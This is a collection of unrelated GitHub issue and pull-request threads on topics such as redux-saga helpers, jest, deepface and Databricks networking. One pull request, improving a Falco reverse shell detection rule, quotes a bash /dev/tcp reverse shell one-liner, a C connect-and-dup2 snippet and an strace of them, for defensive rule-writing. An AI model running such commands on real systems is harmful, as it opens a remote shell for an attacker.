yeah, but you are able to use yield call(delay, duration); inside spawned task and this will throttle your task.

well, my thought up name takeFirstInSequance was not ideal ofc, but your explanation is exactly what I was thinking about
well, in my opinion that would not be throttling, just delaying, truly throttled tasks would be independent of each other, in your solution they are completely dependant on the completion of previous one
some time ago I've implemented a helper in my project for throttle and I think its more accurate
export function* throttle(ms, pattern, task, ...args) {
  const throttleChannel = yield actionChannel(pattern, buffers.sliding(1))

  for (;;) {
    const action = yield take(throttleChannel)
    yield call(task, ...args, action)
    yield call(delay, ms)
  }
}

thinking now if it is possible to implement it as general helper with fsmIterator

well, yeah. I'm not saying my helper is direct implementation of throttling, but it could be used for it
function* rootSaga() {
    yield* takeSequence(USER_INPUT, logUserInput);
}

function* logUserInput(action) {
    yield call(delay, 500);
    yield call(log, action.payload);
}

The main purpose of this helper is to provided an ability to ignore incoming actions, while previously spawned task not completed yet. Keep in mind that spawned task could delegate execution to more complex logic like races etc., so this helper is applicable not only for throttling, but a set of problems.

Sorry for the long delay.
If I'm not mistakn the corresponding generator code is
function* takeSequence(pattern, worker, ...args) {
  while(true) {
    const action = yield take(pattern)
    const task = yield fork(worker, ...args, action)
    yield join(task)
  }
}

But then fork followed by a join is equivalent to a simple call
function* takeSequence(pattern, worker, ...args) {
  while(true) {
    const action = yield take(pattern)
    yield call(worker, ...args, action)
  }
}

I'm willing to add this helper as well, but I dont like much the takeSequence name. the helper name should suggest that the helper skip actions while blocked on the current task. or at the very least should not suggest that he is taking all actions in sequence


WP - Edit / View Mode UI

Description

From Kim:
State users are the only users who can ever add, edit, delete data to the form, and only when the form is unlocked — the following statuses:

In progress
Not started
In revision
All other times the form is view-only for them.
All other users (Admin, Help desk) the form itself is always view only. Admin have the ability to approve, lock/unlock, and archive/unarchive.

As a means to make switching between modes easier and updating, I added the tracking to the state management. When you enter the report, it checks that state it should show the form in and adjust accordingly
Related ticket(s)

CMDCT-3096
CMDCT-3095
CMDCT-3098
How to test

Important updates

Author checklist

[ ] I have performed a self-review of my code
[ ] I have added thorough tests, if necessary
[ ] I have updated relevant documentation, if necessary

convert to a different template: test → val | val → prod

This is a great idea. Logic that depends on properties of the user & the current state of the report fits more nicely in the store than scattered across individual form components.


Vulnerable class-validator with CVE-2019-18413 being pulled in, mitigations may need to be applied !

Summary
Based on the discussion https://github.com/typestack/class-validator/issues/438, currently there is no fixed version of class-validator which fixes the CVE-2019-18413.
However a mitigation is suggested at https://github.com/typestack/class-validator/issues/438#issuecomment-544616992 about the use of a previously undocumented option.
Expected Behavior
Respective changes as needed to be made to use the mitigations suggested at https://github.com/typestack/class-validator/issues/438#issuecomment-544616992
Current Behavior
Currently the latest version of javascript-obfuscator pulls in class-validator which has a vulnerable CVE.

Fixed in 2.10.7


module 'deepface.commons.functions' has no attribute 'find_input_shape'

I have used your code for face recognition and have applied on faces . Now It is showing  module 'deepface.commons.functions' has no attribute 'find_input_shape' error

because that function is retired in the recent release. how are you using deepface?

because that function is retired in the recent release. how are you using deepface?

I am using in represent function in my code and using to find result for face recognition for diff models you mentioned. Now how to do?

if you need to use extract faces and represent respectively, you can use this as
from deepface import DeepFace
from deepface.commons import functions

model_name = "Facenet"
target_size = functions.find_target_size(model_name = model_name)

face_objs = DeepFace.extract_faces(img_path = "img1.jpg", detector_backend = "opencv", target_size = target_size)

for face_obj in face_objs:
   img = face_obj ["face"]
   embedding = DeepFace.represent(img_path = img)

Hi @serengil , thanks for the codes. I have tried the DeepFace.extract_faces but it always returns ValueError: Face could not be detected.
However, if I use RetinaFace.extract_faces on the same picture, it can return the faces. Even if I change the detector_backend from opencv to retinaface, it does not help at all.
May I have your help please? Thanks.

i need your input image

This is the image I use. Thanks @serengil .
In fact, I have one more question. When I use DeepFace.verify to verify the below image, it can detect the face and give a correct result. However, when I use DeepFace.find, it returns Face could not be detected. My codes are as follows.
result = DeepFace.verify(img1_path="trial/target.png", img2_path="trial/target2.png")

df = DeepFace.find(img_path="trial/target.jpg", db_path="facedb")

which one is target and which one is target2?

target and target2 are the same image of the guy

yes
On Thu, Feb 9, 2023 at 8:21 PM chhkg @.***> wrote:

target and target2 are the same image of the guy
—
Reply to this email directly, view it on GitHub
https://github.com/serengil/deepface/issues/635#issuecomment-1424312857,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACJSE4264IQG4AFYV2A6MXTWWUAANANCNFSM6AAAAAAUHXCGGU
.
You are receiving this because you authored the thread.Message ID:
@.***>

Did you try enforce_detection argument?
df = DeepFace.find(img_path="trial/target.jpg", db_path="facedb", enforce_detection = False)

I got the matched result finally by adding enforce_detection = False, thanks. From other issues, I saw that you mentioned

"it returns an exception. that argument avoids you to get that exception even if no faces available in the image. https://github.com/serengil/deepface/issues/541

accuracy will be down. https://github.com/serengil/deepface/issues/441

So, I am wondering why putting this statement will return the correct result.
Besides, if the db_path contains group photos with multiple faces in each photo, would DeepFace.find be able to analyze multiple faces in one photo?

Also your help on this comment will be much appreciated.

Hi @serengil , thanks for the codes. I have tried the DeepFace.extract_faces but it always returns ValueError: Face could not be detected.
However, if I use RetinaFace.extract_faces on the same picture, it can return the faces. Even if I change the detector_backend from opencv to retinaface, it does not help at all.
May I have your help please? Thanks.

The input of this part is this group photo.

So, I am wondering why putting this statement will return the correct result > unfortunately no facial recognition model offers 100% accuracy.
Besides, if the db_path contains group photos with multiple faces in each photo, would DeepFace.find be able to analyze multiple faces in one photo > yes, since version 0.0.78 it can do this
However, if I use RetinaFace.extract_faces on the same picture, it can return the faces. Even if I change the detector_backend from opencv to retinaface, it does not help at all. > confidence scores might be different.


Logging only in fit mode

Do you want to request a feature or report a bug?
Feature
I often add debug logging in my programs, which I'd like to see in one specific case: fit() (focus-it) annotated tests, but I usually end up doing something like if (global.JEST_IS_FIT) console.log(x) in my source code, and global.JEST_IS_FIT = true in my test, and then remove it from the test when I delete the 'f' in 'fit'.
The code in the source code isn't that bad, but in the test file I'd still like to enable the logging by adding a character or two. Also, it'd be good to have a consistent convention and tooling for this in all projects using jest.
I don't have an exact proposal for how this should look in the source and test file. Just some ideas:

dit instead of fit, for 'debug-it'
console.debug only shows up in this mode; both in the test file and source code
process.env.JEST_FIT or similar. For code going through webpack, DefinePlugin could be used to cause DCE

Concerns:

I would like this to work without restarting jest (e.g. no a flag/env var)
It seems cleaner to tie this to the test file instead of a hotkey in the interactive watch mode because you want to both focus the test and enable debug logging in one operation, and then remove both in one operation.
The code under test might call other functions that also use the debug logging mechanism

Not sure I understand. If you have a focused test, only that is run. Why isn't that enough? Could you add a more concrete example of your use case?

Sure, so at the time I posted this, I was writing an argument parser, and I have this in the source:
    if (global.JEST_IS_FIT) {
      console.log(
        `Debug at arg ${i} of "${arg}"`,
        `\nState:`,
        state,
        `\nResult:`,
        result,
      );
    }

I have a bunch of its in the test. When one would fail, I'd change it to fit, then add a line that does global.JEST_IS_FIT = true to enable the debug logging, fix the issue, remove the 'f' in 'fit', remove the global.JEST_IS_FIT = true, and then move on.
I can't leave it on consistently because you don't usually want logs in tests. I don't want to remove the code from the source and add it back every time, so it needs to be a conditional. I want a way to more easily enable the debug logging when I need to.
I wouldn't ever enable the debug logging if multiple tests were running, because it'd be way too much noise to actually see the relevant information, which is why this specifically applies to fit.
Another case I have is a babel plugin with a bunch of test cases, and there's debug logging that's only really useful when debugging a specific test. In the babel plugin, there are cases where an operation is skipped because it's not supported, but I'd like to know it's being skipped when debugging a failing test.
This really applies to any time you're debugging one failing test, and the logging is valuable enough to keep in the code long-term.
This being part of jest would mean someone working on either of these could know the proposed convention in jest, and just enable it while they're debugging a test. It wouldn't rely on me expressing some convention specific to a given project.

I can see exposing the force test mode status so that anyone (including custom setup/reporters/watchers/etc) can create a custom behavior for force mode if they want to
If we exposed it, then you could accomplish what you want with:
console.debug = message => {
  if (global.isForcedMode) {  // however it's exposed
    console.log(messag);
  }
}

That would work well for me, good idea.

We should add if a test was focused to the test result. At that point, this should be trivial to implement in a custom matcher. We currently track if it passed or failed, but we should add a field for skipped and focused as well.
https://github.com/facebook/jest/blob/d9d501ac342212b8a58ddb23a31518beb7b56f47/types/TestResult.js#L183-L192

Hi @SimenB, do you mind if I pick this one up?

Yeah! Note that this is just adding it to the test result, not changing the reporter :)

Is this something that we actually want in Jest? It seems like the problem here is trying to leave long living debugs using console.log.
This problem can be solved by using a logger that supports levels as an environment variable.
Given that we are trying to adopt: https://fishshell.com/docs/current/design.html, I'm not sure it is worth adding this to core.
I don't think we should encourage people to add blocks of debug code to application code with Jest internals (especially if they are long living!) or to override console.debug just for tests. Both of these options will increase application code with potentially unwanted side effects, i.e. leaving a console.debug in by mistake.
Instead we should recommend using a logger with levels so that devs can confidently add logs to their code and just set the level relevant to the environment the code is being ran in.
Thoughts @SimenB @rickhanlonii?

What I think we should do is add to TestResult that a test was skipped/focused etc. Once that's in, a custom reporter can decide to omit console.log from any test not focused.
Makes sense? I do not think we should add anything to the global environment that user code can sue to decide whether to log or not

hi @SimenB , i see this got stale label. is someone working on it?
if not, can i work on it?

Hi @SimenB! I'd like to work on this issue by applying your suggestion, but I'm wondering how to know if the test is being focused inside the formatTestResult function, I saw there is the 'skipped' status that I can access with: testResult.skipped but I did not find anything related to 'focused', is it available somewhere else?

is this issue open to work ?

https://github.com/facebook/jest/releases/tag/v29.4.0


Update overview-deploy.md

Update the supported environment section to provide clarity what is supported, and in-evaluation.

#assign-reviewer:jryfar

@kgremban
Can you review the proposed changes?
Important: When the changes are ready for publication, adding a #sign-off comment is the best way to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

#please-close replaced by https://github.com/MicrosoftDocs/azure-docs-pr/pull/290048


How to upload to a sub-folder

Request for Assistance
Is there a way to allow uploading to sub-folders of the target folder. i.e. if my configuration says this:
upload /uploads {
	to        "c:\myuploads"
    }

Is there a way to allow uploads to http://myserver/uploads/myproductname/myproduct.zip to end up in c:\myuploads\myproductname?
I could create many entries in my configuration file but that would require us to anticipate what products the users want to push to the server
Environment

Currently Windows 2012 / 2016 but potentially starting to use Ubuntu Server as well
AMD64

Sub-directories are created when needed. It will work exactly as in your example.
http://myserver/uploads/myproductname/myproduct.zip → c:\myuploads\myproductname\myproduct.zip
As it has been missing, I've just added the example to integration tests.

Oh excellent. Thanks for the documentation. I was just sending the incorrect information.


feat: add typechecking to profile report

closes issue #1134

Codecov Report
Base: 90.89% // Head: 90.90% // Increases project coverage by +0.00% :tada:

Coverage data is based on head (8f2b869) compared to base (acaa171).
Patch coverage: 100.00% of modified lines in pull request are covered.

:exclamation: Current head 8f2b869 differs from pull request most recent head 77e4342. Consider uploading reports for the commit 77e4342 to get more accurate results

Additional details and impacted files
@@           Coverage Diff            @@
##           develop    #1139   +/-   ##
========================================
  Coverage    90.89%   90.90%
========================================
  Files          178      178
  Lines         5086     5090    +4
========================================
+ Hits          4623     4627    +4
  Misses         463      463

Flag
Coverage Δ

py3.8-ubuntu-latest-pandas
90.90% <100.00%> (+<0.01%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

src/pandas_profiling/profile_report.py
80.99% <100.00%> (+0.17%)
:arrow_up:

src/pandas_profiling/visualisation/plot.py
86.69% <100.00%> (+0.11%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

Just one comment: did you check that everything is properly annotated in the code?

@alexbarros it is possible to link a PR directly :)


Error parsing record - Encountered unknown Record Field type - 22

Have you seen this error before?
pwsafe list -file ~/tmp/test.psafe3
💀  Error parsing the unencrypted records - Error parsing record - Encountered unknown Record Field type - 22

Hi! @xtremebeing no, it's the first time ... just a question...

did you  specify your own set of allowed special symbols for password generation?

I'm asking because after reading this issue, I went back to the  PWSafe spec V3 here :point_right:  https://github.com/pwsafe/pwsafe/blob/master/docs/formatV3.txt   and noticed a field that in the parser is not evaluating ...so that triggered the quesition.

@lucasepe - Sorry, for the late reply. Yes, I do allow special symbols.


Proposal: Add public ctor for MenuFlyoutItemBase

Proposal: Add public ctor for MenuFlyoutItemBase
Summary
Add public ctor for MenuFlyoutItemBase class, that will allow developers to implement their own MenuFlyout items.
Rationale

It will allow devs to implement MenuFlyout items with custom content like TextBox or some custom inner control

Scope

Capability
Priority

Add public ctor for MenuFlyoutItemBase
Must

Add protected ctor for MenuFlyoutItemBase instead of public
Could

Make MenuFlyoutItemBase  abstract
Could

Important Notes
We can implement custom MenuFlyout item with deriving from MenuFlyoutSeparator, but it isn't intuitive dev-experience.
Similar to another issue https://github.com/microsoft/microsoft-ui-xaml/issues/780

Possible question: Why we can't just derive from MenuFlyoutItem class?
My answer:
It contains members, which are very specific for MenuFlyoutItem like Click event and Text, Icon, Commands properties.

And it seems like it is not possible to enable keyboard/gamepad navigation in MenuFlyout for items derived from MenuFlyoutSeparator.


fix(rules): use exit event in reverse shell detection rule

Signed-off-by: Aldo Lacuku<EMAIL_ADDRESS>

What type of PR is this?

Uncomment one (or more) /kind <> lines:

/kind bug

/kind cleanup

/kind design

/kind documentation

/kind failing-test

/kind feature

If contributing rules or changes to rules, please make sure to also uncomment one of the following line:

/kind rule-update

/kind rule-create

Any specific area of the project related to this PR?

Uncomment one (or more) /area <> lines:

/area build

/area engine

/area rules

/area tests

/area proposals

What this PR does / why we need it:
This PR updates the reverse shell detection rule to be triggered when a dup2 or dup3 is called. Before the falcosecurity/libs#385 the dup2 and dup3 events were sent to userspace as dup events.
Which issue(s) this PR fixes:
In some cases the rule is not triggered when a reverse shell is spawned. That's because in the rule we are checking that the file descriptor passed to the dup functions is of type socket and its fd number is 0, 1 or 2 and the event direction is enter. The following code snippet is not detected as a reverse shell:
    connect(socket_fd, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));
    dup2(socket_fd, STDIN_FILENO);
    dup2(socket_fd, STDOUT_FILENO);
    dup2(socket_fd, STDERR_FILENO);

That's obvious since we are not passing a file descriptor to the dup2 syscall that satisfies the conditions required by the rule.
On the other hand a command like this one: /bin/bash -i >& /dev/tcp/<IP_ADDRESS>/9999 0>&1 (#1152 ) triggers the rule.
Digging a little bit deeper we see that the following syscalls are involved:
23889 socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
23889 connect(3, {sa_family=AF_INET, sin_port=htons(9999), sin_addr=inet_addr("<IP_ADDRESS>")}, 16) = 0
23889 dup2(3, 1)                        = 1
23889 close(3)                          = 0
23889 dup2(1, 2)                        = 2
23889 dup2(1, 0)                        = 0
23889 fcntl(1, F_GETFD)                 = 0
23889 execve("/usr/bin/bash", ["bash", "-i"], 0x56212e810be0 /* 21 vars */) = 0
23889 brk(NULL)                         = 0x5571dcec9000

The first dup2(3,1) is not detected by the rule but the subsequent calls are.
The right way to detect such scenarios is to check the returned file descriptor in the exit events. In order to avoid dealing explicitly with the event direction we use the following field evt.rawres in (0, 1, 2) present in the exit events.

Fixes #
Special notes for your reviewer:
As @leogr noted here, this PR needs to be merged after we bump Falco with a new driver version.
Does this PR introduce a user-facing change?:

fix(rules): use exit event in reverse shell detection rule

/milestone 0.32.1

This is great! Thank you @alacuku!

Good job!

LGTM label has been added.  Git tree hash: f79d288ba3da56976248773b2cf06938982fc24a

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: alacuku, jasondellaluce
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

rules/OWNERS [jasondellaluce]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


wip: animations for default widgets

Hi!
This WIP implements default animations for default widgets. The goal here is to make Iced application appear smooth when hovering / clicking things, without breaking the API. It is also possible to keep the actual behavior (using a simple enum), although I do not know which should be default.
This heavily uses the new frame subscription API.
This is one thing that I was missing since transitioning from GTK, where you don't really need to worry about animations but can still end up with something that looks nice and smooth.
Current progress
Buttons
Buttons have smooth color transitions when hovered and pressed.
https://github.com/iced-rs/iced/assets/43273245/4d000c71-3eca-4b0a-8326-e647ed1bf42d
Things to discuss and fix:

[ ] Buttons look for cursor movement events to know whether they're being hovered or not. Could this be replaced by a new Hovered event in the update() function?
[ ] When clicking a button that is moved on click, it is possible that it is hovered anymore. However, if the mouse does not move, it will not be aware of it and will remain highlighted until the cursor moves again.

Text input (cursor)
In the text input, the cursor will fade-blink. It will however remain a full opacity while typing
https://github.com/iced-rs/iced/assets/43273245/101e9de9-55a2-49eb-8836-1b5d2d3b72f6
Radio buttons
Radio buttons have smooth color transitions when hovered and pressed.
https://github.com/iced-rs/iced/assets/43273245/571a9a7c-451e-4e46-9591-fbc1825bbe96
Togglers
Togglers have smooth color and movements transitions when pressed.
https://github.com/iced-rs/iced/assets/43273245/0af06664-739f-4c04-91dd-ef061f3530a6
To do

[ ] checkboxes
[ ] scrollables
[ ] sliders
[ ] ...

Interferences
I stumbled upon cosmic-time, which implements a framework for animations in iced. From what I understand, it is made for more complex animations to be implemented by the user, whereas my goal is to bring default animations to Iced. However, I do not know if it would be better to use what has been made for cosmic-time for this or not. Or maybe this WIP is better suited to be used in cosmic-time after all.
I think default animations would be great, at least to be on par with GTK, but that's just IMO!
Thanks!

just stumbled upon this and it looks really promising
Any plans on how to continue with this @hecrj @lazytanuki ?

Any plan to merge this one?

Hi ! I don't have a lot of time to work on this right now, but I believe we should have a discussion with @hecrj in order to figure out what is the best way to implement this. I know folks over at System76 have their own Cosmic time animation system and I don't want to step on their feet. However their system makes animations "external" to the widgets (at least from what I saw a while back, may have changed now), but I think it would be nice to have the animations system "internal" to widgets, at least for the ones that don't modify the layout. That way, users wouldn't have any extra work to do to have simple fade in/out animations for buttons, cursors, etc.
This is still on my list of todos.

The Idea behind this looks Solid so its just a matter of if Hector wants to take a look at it or if he rather you Post a topic about it first.

Superseded by #2483.


Automated releasing to nuget

Putting a recap of a few internal conversations here: right now the release to nuget.org is done manually. This is time consuming, error prone and potentially a bottleneck if the main maintainer is out/busy with other priorities.
The main reason why it hasn't been automated yet is due to a lack of time. Hopefully this issue can get things started.
There are already ADO pipeline definitions here for the nightly publish to myget.
On top of that, there are a couple of additional aspects to consider:

bumping the version number (or at least validating it's been bumped)
creating a git tag
creating a github release base off the tag

Kiota already has some of the later through a standard changelog and a github workflow.
https://github.com/microsoft/kiota/blob/main/CHANGELOG.md
https://github.com/microsoft/kiota/blob/main/.github/workflows/create-release.yml

Can you sync with @andrueastman please? I believe dotnet SDK has nightly and scripts to validate the version number as well.

Yes, I will engage @andrueastman to see how they do it. Thanks.


sany: return non-zero exit code if there are errors

I've noticed that the sany script always returns 0 error code even if there are e.g. parse errors in the input file. E.g. I would like it to return a non-zero code to use it in the test suite of a transpiler targeting TLA+ I'm working on. By the way, thank you for tla-bin!

Hi, thank you for the report. It looks like if one passes the -error-codes argument to sany on the nightly build then it will do exactly as you request. I've just added a --nightly flag to the download script which will install this.
Looks like they added this command line argument four months after this PR was filed! https://github.com/tlaplus/tlaplus/pull/483
Please share if this works for your use case!

Yes, this definitely works. Looking forward to the v1.8 release!

Happy to hear it! 🙂


Unexpected EOF from SSL during write output error

Not sure if this is related to RSR as the error appears to come from the GCI, but adding issue here for review by those more knowledgeable than me. Adding stack and screen shot.
I had gotten an error from RSR saying the connection was lost on a windows pharo (rebus). Then pressed disconnect on the Jadeite for Pharo connection launcher resulting in this walkback.

20240620_RSR_walkback.txt

This was lost by the sudden loss of a gem and is unrelated to RSR.


cuDNN spatial log softmax and Chianti C++ library

Hi there,
I'm really interested in using your network.
However I get this error:
2017-11-01 17:15:45,539 ERROR Cannot create cuDNN spatial log softmax. Install cuDNN and make sure that uses the GPU.
2017-11-01 17:15:45,540 INFO Chianti C++ library is not available.Will default to slower Python implementation.
I have updated theano and added " [lib]\n cnmem=1"to a .theanorc file in my home location.
I really need your help,so I beg your reply.

I have encountered the same error .
My cudnn version was 6, but  Theano can not support version 6,so I downgraded it from 6 to 5.It really works.

Hi,  @dingbaojin
I have downgraded cudnn from 5.1 to 5.0,but it still exists.
Here is my result:
2018-08-15 20:16:02,756 INFO Found supported Python version 2.7.
2018-08-15 20:16:02,804 INFO Successfully imported numpy.
2018-08-15 20:16:02,847 INFO Successfully imported cv2.
2018-08-15 20:16:02,881 INFO Successfully imported sklearn.
2018-08-15 20:16:02,976 INFO Successfully imported sklearn.metrics.
2018-08-15 20:16:02,976 INFO Successfully imported scipy.
Using gpu device 0: GeForce GTX 1080 (CNMeM is enabled with initial size: 90.0% of memory, cuDNN 5005)
2018-08-15 20:16:04,979 INFO Successfully imported theano.
2018-08-15 20:16:04,983 INFO Successfully imported lasagne.
2018-08-15 20:16:04,983 INFO Theano float is float32.
2018-08-15 20:16:04,983 ERROR Cannot create cuDNN spatial log softmax. Install cuDNN and make sure that theano uses the GPU.
2018-08-15 20:16:05,001 INFO Use Chianti C++ library.
2018-08-15 20:16:05,011 INFO Found CityScapes training set.
2018-08-15 20:16:05,011 INFO Found CityScapes validation set.
Wish your reply -_-

Hi @huiyiygy
I tried to follow the step to install the chianti, but it doesn't work.
could you share the steps for the Chianti C++ library?
Thanks.


The Future of NEI.

NEI will have its inventory stuff ported out to another mod called Not Enough Widgets.
It will include all the widget buttons from NEI and the creative plus inventory.
NEI is back.
Currently there is integration with JEI on a basic level. You can choose the item panel owner. More integration will come soon. Here is the TODO List, ill try and keep it updated as much as i can.

[X] Ability to choose Item Panel owner.
[ ] Ability to load JEI recipe and usage handlers.
[ ] Ability to choose what mod handles recipes.
[ ] Ability to choose what mod handles usage.
[ ] Something else i am forgetting.

A link when up will be nice.

No problem, The name on curse will probably still be
[Discontinued:NotEnoughItems] NotEnoughWidgets. But maybe not, who
knows. we will just have to wait and see what happens. I will probably
make a MCForum post about it.
----- Original Message -----
From: "TheCBProject/NotEnoughItems"
To:"TheCBProject/NotEnoughItems"
Cc:"covers1624"
Sent:Wed, 13 Apr 2016 19:53:52 -0700
Subject:Re: [TheCBProject/NotEnoughItems] The Future of NEI. (#6)
A link when up will be nice

—

You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub [1]
Links:
[1]
https://github.com/TheCBProject/NotEnoughItems/issues/6#issuecomment-209733285

So NotEnoughWidgets is being made, but the rest of NEI is being scrapped, right? Or is there gonna be a recipe viewer war? lol

The rest of nei will be scraped, but i can include in NotEnoughWidgets an alternate recipe viewer for jei as an addon.

Very excited! :)

Im sure you are aware that a similar project is in progress.  If not (that would surprise me, but figured Id share to make sure), the project is called forever enough items and it sounds to be exactly what NotEnoughWidgets strides to be(FEI still needs work, but is publicly available). Link to the project for easy finding:  https://github.com/elix-x/Forever-Enough-Items
Since it looks to add everything JEI didnt add from NEI including an almost identical look, you should be aware of this :)

I believe NEW will continued to be developed as the "official" replacement for NEI.

Correct prospector, I am aware of FEI, NEW will be worked on soon, trying to get a build of Ended Storage out, it's down to rendering at this point.

I'm glad to hear that there will be an "official" build coming out.  I will be looking forward to trying it out when you get around to it.  Thank you for the clarification.

Its been a while and NEW is still an empty repo, is this still being worked on and/or is there a mc 1.10.* release somewhere for NEI?

http://chickenbones.net/Pages/links.html will only load on 1.7.

Wait since when are their NEI builds? Mind if I post that on reddit?

Yesterday, not yet, once i get it on curse.

Nice to see NEI coming back officially. cheers! <3


msbuild error: Microsoft.AspNetCore.Razor.Design.CodeGeneratio n.targets(69,5):

Getting below given error when building using msbuild command line:
ResolveTagHelperRazorGenerateInputs target) ->
C:\Program Files\dotnet\sdk\NuGetFallbackFolder\microsoft.aspnetcore.razor.de
sign\2.1.1\build\netstandard2.0\Microsoft.AspNetCore.Razor.Design.CodeGeneratio
n.targets(69,5): error : The project xyz must provide a value for Configuration. [xyzcs.proj]
Project is building successfully when building from visual studio 2017.

Thanks for contacting us, @bkskomal.
What is the command you run to build?
@ajaybhargavb, can you please look into this? Thanks!

Could you share the project file too?

I am using below given command to build project
MSBuild project.sln /t:rebuild /p:Configuration=Release
I am trying to build the solution file and this solution file contains many projects.

@bkskomal could you share the build logs from doing the build? Run MSBuild project.sln /t:rebuild /p:Configuration=Release /bl and share the generated msbuild.binlog file

Ping @bkskomal

@bkskomal please reopen the issue once you've had the chance to include the build log.


How do I get my system to give information?

I get unknown on every item?

Evening had a similar problem. message me on zero 84 five seven 4 six 9 seven nine. let me try assist you

what Inverter are you using?
what yaml file have you selected during the configuration?

to support you, you need to provide a few more information :)

I have a sofar solar inverter 3600 and I have selected the one for that inverter on the yaml?
Thanks for the reply.
Sent from my iPhone
Kind Regards
RP
On 9 Jun 2023, at 09:09, Christoph @.***> wrote:

what Inverter are you using?
what yaml file have you selected during the configuration?

to support you, you need to provide a few more information :)
—
Reply to this email directly, view it on GitHubhttps://github.com/StephanJoubert/home_assistant_solarman/issues/320#issuecomment-1584154916, or unsubscribehttps://github.com/notifications/unsubscribe-auth/A5SA5BU4XPBSWYY6VXIYDY3XKLK2BANCNFSM6AAAAAAY3P6GNY.
You are receiving this because you authored the thread.Message ID: @.***>

Usually, If you get 'unknown' values, this indicates that you are using the wrong yaml Template.

Since I don't have such an Inverter, I cannot tell you, which File the correct one would be, but I would try the different ones that are available until you get the values.

I have the 12kW 3phase Deye. The Yaml file "deye_hybrid" does obviosuly not work as i get no correct information back.
Can it be because my serial number starts with 27...?

Choose deye_sg04lp3.yaml and restart Home Assistant. This works with my Deye 8K Hybrid.


Implement oauth secret token in headful-lite.

Also deprecate TwitterAuth{Provider,Credential}. OAuth sign in flow is now the recommended way to sign in with Twitter.

DO_NOT_SUBMIT.
This is for Chuan to review first. I'll wait until Leo's documentation is out.

Relevant internal bug: b/129413855

Doc just got approved. Submitting.


Branch edit tags

close #4

Closed due to merging issues. Opened another PR for integration of editing tags at #54


pythonPackages.py-multihash: 0.2.3 -> 1.0.0

Motivation for this change
Saw this failing on hydra, and decided to fix it.
the postPatch phase should be removed upon the next release, as explained in the comment.
ZHF: #97479
Things done

[X] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[X] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[X] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 101801 1

2 packages built:

python37Packages.py-multihash
python38Packages.py-multihash


Release notes for version 0.25

Hi,
why are there no release note for the latest version?

Because I never had the opportunity to write them up.


Cancel button doesn't work in reconciliation process

Original author<EMAIL_ADDRESS>(October 17, 2010 13:46:43)
In version 1586 (on Chrome 6.0.472.63 in OS X 10.6.4), after I reconcile a column and try to rematch a single item, the Cancel button doesn't work forcing me to either match against one of the items on the menu or to create a new topic.  You can create a simple example such as the attached spreadsheet in which I reconciled against composers. The last item (WWagner) won't match automatically because I put in a spelling mistake; you will be able to see how hitting Cancel will not work.
Original issue: http://code.google.com/p/google-refine/issues/detail?id=159

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

Closing as non-reproducible, this works fine in the current version as far as I can tell.


[FEAT]: Cleanup registry start up errors

What is the feature request for?
Registry Core
What problem/inconvenience (if any) will this feature solve?
Cleanup errors that show up when starting the registry when authentication is disabled, keycloak errors, elastic search errors etc. Do the same for Notification service, Claims service and other auxiliary services
Describe the feature clearly.
Add a new feature that does ....

PR: https://github.com/Sunbird-RC/sunbird-rc-core/pull/248

PR: https://github.com/Sunbird-RC/sunbird-rc-core/pull/248
All errors causing due to disabling some services are fixed
We have two errors still showing up on startup, which will be addressed in https://github.com/Sunbird-RC/community/issues/825


Databricks and Private Endpoints

This document is incorrect in mentioning connecting via Private Endpoint as a reason for setting up Databricks with VNet injection as this process creates two delegated subnets (public and private) of which neither can be configured with a private endpoint for secure access to Private Link enabled services such as Azure Storage.
When attempting to create a Private Endpoint to the public subnet the following error pops up in Azure Portal: "The selected subnet 'subnet-pub-1' has delegation and cannot be used with a private endpoint"
I've attempted to create a separate subnet within the same VNet as the deployed Databricks but the configured DNS for the Private Endpoint isn't resolved by the connection from within Databricks' subnets. The only way I can get Databricks to connect is either allow all access in public endpoints or to control access via service endpoints.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 93bd5c16-e0ec-5064-9bc0-1c527c328a7e
Version Independent ID: 5342d01e-c2da-f7a8-d22e-86995a17af79
Content: Deploy Azure Databricks in your Azure virtual network (VNet injection) - Azure Databricks
Content Source: databricks/administration-guide/cloud-configurations/azure/vnet-inject.md
Service: azure-databricks
GitHub Login: @mssaperla
Microsoft Alias: saperla

@TimothyAlba  Thanks for the feedback! I have assigned the issue to the content author to evaluate and update as appropriate.

Thanks for your dedication to our documentation. Unfortunately, we have been unable to review your issue and apologize for the delayed response. The requested updates have not yet been made. The timeline for resolution varies based on resourcing. We've created an internal work item (DOC-7128) to incorporate your suggestions. We are closing this issue for now, but feel free to comment here as necessary.
#please-close

#please-close

I have the same issue as @TimothyAlba & I see this issue has been closed without resolution. Could you provide some info as to where we could find the relevant & reliable information?

@JennieHubbard can you check the status of DOC-7128 if you have a moment. Thanks!

@JasonWHowell Hi Jason, I pinged the writer about this issue. I'll update here when they reply.

The change is live at https://learn.microsoft.com/en-us/azure/databricks/administration-guide/cloud-configurations/azure/private-link-standard#--step-4-create-a-private-endpoint-to-support-sso-required-for-ui-access and This subnet must not be either of the standard subnets used for VNet injection.


Add swab type to settings page and cards in testing queue

Blocked by CDCgov/prime-central#152 design updates

[ ] Swab Type (similar to devices)
[ ] Add swab to test queue cards too

